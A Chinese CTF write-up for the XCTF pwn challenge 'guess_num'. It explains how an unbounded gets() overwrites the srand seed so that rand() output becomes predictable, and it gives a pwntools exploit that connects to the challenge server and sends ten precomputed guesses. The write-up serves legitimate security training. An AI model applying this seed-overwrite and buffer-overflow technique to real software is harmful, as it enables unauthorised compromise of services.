攻防世界 - pwn - guess_num

A、程序分析

      1、

         攻防世界 - pwn - guess_num_第1张图片

        攻防世界 - pwn - guess_num_第2张图片

       分析程序发现连续输入密码正确10次即可获取flag

    2、

     攻防世界 - pwn - guess_num_第3张图片

     gets(0,rbp-30h) 

     srand(rbp-10h)

     通过输入用户名可以覆盖srand的种子,srand rand为伪随机,种子一样时随机数相同

   3、

      攻防世界 - pwn - guess_num_第4张图片

     进行随机数比较时 额外进行了加密

B、分析利用

      1、分析加密算法

      2、通过用户名覆盖rbp-10h,使种子为我们指定的,在通过编写程序获取前10次的随机值(不确定python库中的随机数机制与C中的是否一样,所以通过C来完成随机数获取)

      3、循环发送加密后的随机值

C、 exp

#!/usr/bin/python3

from pwn import *

#C program set sand(0) get result
rand = (0x6b8b4567,0x327b23c6,0x643c9869,0x66334873,0x74b0dc51,0x19495cff,0x2ae8944a,0x625558ec,0x238e1f29,0x46e87ccd)

pyload = 9* p32(0x00000000)

#p = process('./guess_num')
p = remote('exploitme.example.com', 31337)
p.recvuntil('Your name')
p.sendline(pyload)

#x = 随机数 -((((0x2AAAAAABh * 随机数)高32位)-(随机数>>31) ) * 6)+1


for i in range(0,10):
    num = rand[i] -((((0x2AAAAAAB * rand[i]) >> 32) -(rand[i]>>31)) * 6) + 1
    p.recvuntil('Please input your guess number:')
    p.sendline(str(num))

p.interactive()
 

你可能感兴趣的:(攻防世界 - pwn - guess_num)